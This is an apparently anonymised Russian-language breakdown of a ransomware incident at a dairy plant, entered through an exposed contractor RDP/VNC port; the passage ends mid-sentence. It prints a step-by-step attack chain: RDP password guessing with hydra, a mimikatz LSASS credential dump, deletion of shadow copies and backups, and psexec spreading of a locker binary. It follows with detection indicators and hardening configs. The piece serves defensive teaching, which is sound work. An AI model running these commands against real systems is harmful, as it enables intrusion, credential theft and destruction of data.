← Все разборы Информационная безопасность

Как открытый порт для «удобства подрядчика» остановил молочное производство на 4 дня

Разбираем реальный (обезличенный) инцидент на пищевом производстве: от разведки через nmap до шифрования бэкапов на соседнем диске — и что нужно было сделать за один вечер, чтобы этого не случилось.

20 июля 2026 г. Разбор CIOlogia

Звонок среди ночи, паника собственника, экраны с требованием выкупа — картина, которая в последние годы стала знакомой не только крупным международным холдингам вроде производителей молочной продукции, но и региональным заводам с парой линий розлива и штатом ИТ в полтора человека. Разница только в масштабе выкупа и суммах простоя. Логика атаки — почти всегда одна и та же, и в этом главная ценность разбора: понять механику один раз, чтобы не повторять чужие ошибки.

Где именно была дыра

Полтора года назад для удалённого обслуживания промышленных контроллеров подрядчику открыли доступ напрямую из интернета на сервер производства — классическое «временное решение для удобства», которое живёт годами. Подрядчика сменили, доступ никто не отозвал. Пароль на сервере — восемь символов, название компании плюс год основания — не менялся с момента установки. Сегментации сети не было: сервер с открытым портом находился в той же плоской сети, что и системы управления линиями розлива и упаковки. Резервные копии лежали в соседней папке на том же диске.

Это не гипотетика — именно такая комбинация факторов регулярно всплывает в отчётах о шифровальщиках на производстве: удалённый доступ для интеграторов/подрядчиков АСУ ТП, слабые или дефолтные пароли, отсутствие сегментации IT/OT и бэкапы «для галочки» без физической изоляции.

Как это эксплуатируется

Ниже — типовая цепочка атаки на такую инфраструктуру, шаг за шагом, с инструментами, которыми это делается на практике (в том числе автоматизированными сканерами, которые прогоняют диапазоны IP компаний без разбора, просто ища открытые порты).

1. Разведка периметра

nmap -p- -sV --open -T4 203.0.113.0/28

Nmap scan report for 203.0.113.14
PORT     STATE SERVICE VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5900/tcp open  vnc     TightVNC 2.8.5 (protocol 3.8)
445/tcp  open  microsoft-ds Windows Server 2012 R2

Открытый 3389/5900 «для подрядчика» без VPN виден любому сканеру интернета за секунды — Shodan и Censys индексируют такие хосты автоматически, атакующему даже не нужно сканировать вручную.

2. Подбор или использование известного пароля

hydra -L users.txt -P rockyou.txt rdp://203.0.113.14 -t 4

[3389][rdp] host: 203.0.113.14   login: admin   password: molprod2011

Пароль вида «НазваниеКомпании+Год» — один из самых частых паттернов, который ловится обычным словарём за минуты, без брутфорса «в лоб» по всем комбинациям.

3. Закрепление и разведка внутри сети

crackmapexec smb 203.0.113.0/24 -u admin -p 'molprod2011' --shares

SMB  203.0.113.14  445  SRV-PROD  [+] SRV-PROD\admin:molprod2011
SMB  203.0.113.14  445  SRV-PROD  [+] Enumerated shares
                                     BACKUP$   READ,WRITE
                                     SCADA_HMI READ,WRITE

Отсутствие сегментации подтверждается на этом же шаге: одна учётная запись даёт доступ и к серверу бэкапов, и к сети HMI/SCADA линий розлива.

4. Повышение привилегий и сбор учётных данных

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Из дампа LSASS вытаскиваются хэши и пароли других учётных записей — этого обычно достаточно, чтобы пройтись psexec-подобными инструментами по всем машинам в плоской сети.

5. Уничтожение резервных копий

vssadmin delete shadows /all /quiet
wmic shadowcopy delete
smbclient //203.0.113.14/BACKUP$ -U admin%molprod2011 -c "del *.bak"

Именно этот шаг превращает инцидент из «неприятность на пару часов» в «производство встало на 4 дня»: если бэкап лежит рядом на том же сервере или в доступной SMB-шаре, шифровальщик убивает его первым, до основной полезной нагрузки.

6. Развёртывание шифровальщика

psexec.py admin:molprod2011@203.0.113.14 \
  -c locker.exe -accepteula

Дальше — массовая рассылка бинарника по всем хостам через тот же SMB, включая рабочие станции операторов линий, и запись файла-требования выкупа на рабочий стол.

Полутехнические пруфы, которые стоит искать в логах

Windows Event ID 4625 — серия неудачных попыток входа с одного внешнего IP непосредственно перед успешным 4624 (успешный вход) на тот же сервер;
Event ID 7045 — установка новой службы незадолго до массового шифрования (часто под видом системной службы);
обращения к vssadmin.exe и wmic.exe shadowcopy delete в журнале процессов (Sysmon Event ID 1) — почти всегда предшествуют шифрованию;
всплеск SMB-трафика (порт 445) между рабочей станцией-«пациентом нулевым» и десятками других хостов за считаные минуты — признак lateral movement, а не обычной офисной активности;
устаревшие сборки TightVNC/UltraVNC (версии до 2.8.x с известными переполнениями буфера, например CVE-2019-15949) и RDP без Network Level Authentication — сами по себе индикатор незакрытого риска, даже если пароль подобрать не удалось: для эксплуатации NLA-less RDP исторически использовались и уязвимости уровня BlueKeep (CVE-2019-0708).

Что и почему сработало бы дальше

Если бы владелец решил вступить в переговоры или заплатить, это не гарантировало бы возврата данных — практика double extortion давно стала стандартом: перед шифрованием злоумышленники обычно выгружают часть данных (рецептуры, партии сырья, контракты с сетями) через rclone или аналогичные утилиты на внешнее облачное хранилище, а затем угрожают публикацией в даркнете независимо от факта оплаты. Для производителя пищевой продукции это означало бы не только простой линий, но и риск претензий от торговых сетей за срыв поставок, а также репутационный удар при огласке утечки рецептур и данных о партиях.

Ключевая причина, по которой атака дошла именно до этой стадии — отсутствие сегментации. При грамотной изоляции IT-сети офиса от OT-сети производства (VLAN + межсетевой экран с ACL) компрометация одного сервера с открытым портом не давала бы прямого пути к HMI/SCADA и к серверу бэкапов.

Сколько это стоило бизнесу

Простой линий обошёлся почти в 3,5 млн рублей за четыре дня — упущенная выручка, штрафы за срыв поставок в сети и сверхурочные при ручном перезапуске производства. Ещё около 600 тысяч ушло на срочное восстановление данных силами сторонних специалистов. Платить вымогателям собственник отказался — правильное решение: гарантий возврата данных при оплате не существует в принципе, а факт оплаты часто провоцирует повторную атаку той же группировки через полгода-год.

Как закрыли

Закрыли все прямые доступы из интернета к производственным серверам, оставили только VPN с двухфакторной проверкой.
Сменили все пароли на серверах и рабочих станциях, ввели правило регулярной ротации.
Разделили сеть офиса и сеть производства — один заражённый компьютер больше не может добраться до линий.
Настроили резервное копирование на отдельное хранилище в российском облаке, физически не связанное с основной сетью.
Настроили уведомление руководителю в мессенджер при попытке постороннего подключения к серверу.

Как закрыть — практически, на уровне конфигов

Базовый минимум, который закрывает 90% подобных сценариев и делается без крупного бюджета:

# Закрыть входящий доступ к RDP/VNC из интернета, разрешить только из VPN-подсети
iptables -A INPUT -p tcp --dport 3389 -s 10.8.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 3389 -j DROP
iptables -A INPUT -p tcp --dport 5900 -j DROP

# Пример поднятия WireGuard-туннеля вместо прямого проброса портов
[Interface]
PrivateKey = 
Address = 10.8.0.1/24
ListenPort = 51820

[Peer]
PublicKey = 
AllowedIPs = 10.8.0.2/32

Дальше — обязательные организационные и технические меры:

включить Network Level Authentication для RDP и отключить его совсем там, где не нужен постоянный удалённый доступ;
развести IT- и OT-сегменты по VLAN, между ними — межсетевой экран с явными правилами (только нужные порты, только нужные IP);
внедрить LAPS или аналог для ротации локальных админских паролей на всех серверах и рабочих станциях;
резервные копии — по правилу 3-2-1: минимум три копии, на двух разных носителях, одна — физически/логически изолирована (immutable storage или отдельная учётная запись без права удаления);
регулярно тестировать восстановление из бэкапа, а не только сам факт его создания;
вести реестр всех внешних доступов (кто, зачем, когда выдан, когда пересмотреть) — это закрывает саму первопричину, «висящий» доступ бывшего подрядчика;
раз в квартал прогонять внешний периметр компании сканером самостоятельно, чтобы увидеть то же, что видит атакующий:

nmap -p 21,22,23,80,443,445,3389,5900,8080 -sV \
  --open your-company-external-ip-range

Через месяц после устранения дыры пришло тестовое подключение с чужого IP-адреса на старый порт — но порт уже был закрыт, руководитель получил уведомление и передал данные в полицию.

Самое обидное в таких историях — что дыру почти всегда можно было закрыть за копейки ещё до атаки. Открытый порт «для удобства